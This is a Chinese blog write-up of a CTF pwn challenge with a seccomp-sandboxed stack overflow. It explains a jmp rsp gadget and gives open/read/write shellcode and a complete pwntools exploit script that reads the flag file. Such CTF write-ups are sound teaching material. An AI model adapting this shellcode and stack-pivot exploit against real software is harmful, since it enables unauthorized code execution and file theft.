Whitea's Blog.

沙盒栈pwn_2019syc_10th_geek_notbad

字数统计: 413阅读时长: 1 min
2019/11/21 Share

初遇开启沙盒栈题pwn_2019syc_10th_geek

题目下载地址

开启沙盒的函数:

mark

开启沙盒之后,system、execve函数就被ban了,只能用read、write函数。

程序主要功能函数:

mark

只能溢出0x10个字符,也就是只能填俩64位地址,根本构造不出rop链。


寻找出题人留下的gift:

mark

push rax会发生抬栈的操作

mark

这边最重要的是jmp rsp的操作,syscall是根据rax寄存器的数值执行对应操作,到时候可以看看rax是多少。

调试结果是,rax在程序出栈的时候,为0x1f:

mark


所以做题思路:

由于程序所有保护均未开:mark

我们可以在返回地址的后方跟想执行的asm编译过的汇编语言。

这边是想让栈中的数据作为shellcode执行,所以先jmp rsp(地址),再sub rsp,再jmp rsp,就可以跑准备好的shellcode。

可以看栈中的数据,只要sub rsp,0x30,rsp指针就回到栈底,再jmp rsp,就可以将栈中的数据执行。

提前准备的shellcode汇编形式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
push 0x67616c66 #flag
mov rdi,rsp
push 2
pop rax
xor rsi,rsi
push 32
pop rdx
syscall
mov rdi,rax
mov rsi,rsp
xor rax,rax
syscall
push 1
pop rdi
push 1
pop rax
syscall

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
import sys
context.log_level='debug'
# context.arch='amd64'

# file_name=ELF("./")
# libc=ELF("./")
# ELF("/lib/x86_64-linux-gnu/libc.so.6")
if args['REMOTE']:
sh = remote(sys.argv[1], sys.argv[2])
else:
sh = process("./bad")

jmp_rsp = 0x400A01
shellcode = '''
push 0x67616c66
mov rdi,rsp
push 2
pop rax
xor rsi,rsi
push 32
pop rdx
syscall
mov rdi,rax
mov rsi,rsp
xor rax,rax
syscall
push 1
pop rdi
push 1
pop rax
syscall
'''
#open flag file;read flag;write flag
shellcode = asm(shellcode,arch="amd64",os="linux")

payload=shellcode.ljust(40,"a")+p64(jmp_rsp) + asm("sub rsp,0x30;jmp rsp",arch="amd64",os="linux")

#gdb.attach(sh,"b *0x0000000000400A39")

sh.recvuntil("fun!\n")
#input()
sh.send(payload)
print "shellcode=>" + str(len(shellcode))
sh.interactive()
print(sh.recv())
CATALOG
  1. 1. 初遇开启沙盒栈题pwn_2019syc_10th_geek